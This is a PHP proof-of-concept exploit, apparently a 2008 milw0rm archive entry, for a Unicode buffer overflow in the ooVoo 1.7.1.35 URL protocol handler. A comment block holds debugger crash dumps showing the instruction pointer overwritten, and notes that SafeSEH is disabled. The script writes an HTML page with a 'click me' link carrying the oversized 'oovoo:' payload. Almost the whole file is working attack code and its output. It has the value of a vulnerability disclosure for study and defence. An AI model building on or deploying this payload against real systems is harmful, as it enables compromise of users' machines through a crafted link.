65 lines
No EOL
3 KiB
Text
65 lines
No EOL
3 KiB
Text
<?php
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/*
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ooVoo 1.7.1.35 (URL Protocol) remote unicode buffer overflow poc
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by Nine:Situations:Group::bruiser
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tested against IE8b/xp sp3
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9sg site: http://retrogod.altervista.org/
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software site: http://www.oovoo.com/
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description: ooVoo is a startup video conferencing and instant messaging
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application, similar to Skype Video.[1] ooVoo allows video chats with up to 6
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participants, and unlike Skype Video, does not use a P2P network.[..]
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faultmon dump of oovoo.exe processing the url given:
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...
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04:22:10.875 pid=0E10 tid=0C08 EXCEPTION (first-chance)
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----------------------------------------------------------------
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Exception C0000005 (ACCESS_VIOLATION reading [0000005A])
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----------------------------------------------------------------
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EAX=00000066: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
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EBX=00133D44: 6F 00 6F 00 76 00 6F 00-6F 00 3A 00 00 00 0F 00
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ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
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EDX=01D0DC28: 63 00 61 00 6C 00 6C 00-74 00 6F 00 3A 00 00 00
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ESP=00133D00: 12 4E 43 00 AA A8 39 06-FF FF FF FF 01 00 00 00
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EBP=00133F68: 63 00 63 00 63 00 64 00-64 00 64 00 64 00 65 00
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ESI=00133F84: 66 00 00 00 68 B6 A2 01-00 00 00 00 00 00 00 00
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EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
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EIP=0040DF5A: 3B 48 F4 7F 16 52 8D 04-48 50 E8 89 9A 3F 00 83
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--> CMP ECX,[EAX-0C]
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----------------------------------------------------------------
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04:22:12.015 pid=0E10 tid=0C08 EXCEPTION (first-chance)
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----------------------------------------------------------------
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Exception C0000005 (ACCESS_VIOLATION writing [00000000])
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----------------------------------------------------------------
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EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
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EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
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ECX=00610061: 00 00 00 89 84 24 86 00-00 00 89 84 24 8A 00 00
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EDX=7C9132BC: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
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ESP=00133930: A8 32 91 7C 18 3A 13 00-5C 3F 13 00 34 3A 13 00
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EBP=00133950: 00 3A 13 00 7A 32 91 7C-18 3A 13 00 5C 3F 13 00
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ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
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EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
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EIP=00610061: 00 00 00 89 84 24 86 00-00 00 89 84 24 8A 00 00
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--> ADD [EAX],AL
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----------------------------------------------------------------
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...
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additional notes:
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oovoo.exe, compiled with /SafeSEH=OFF
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reg key:
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HKEY_CLASSES_ROOT\ooVoo\shell\open\command
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"e:\oovoo\oovoo.exe" "%1"
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*/
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$bof="<html><a target=\"_blank\" href=\"oovoo:?" . str_repeat("\x0f",258).
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"bbbbaaaaccccddddeeeeffff".
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"\">click me</a></html>";
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$fp=fopen("oovoo_poc.html","w+");
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fputs($fp,$bof);
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fclose($fp);
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?>
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# milw0rm.com [2008-11-11] |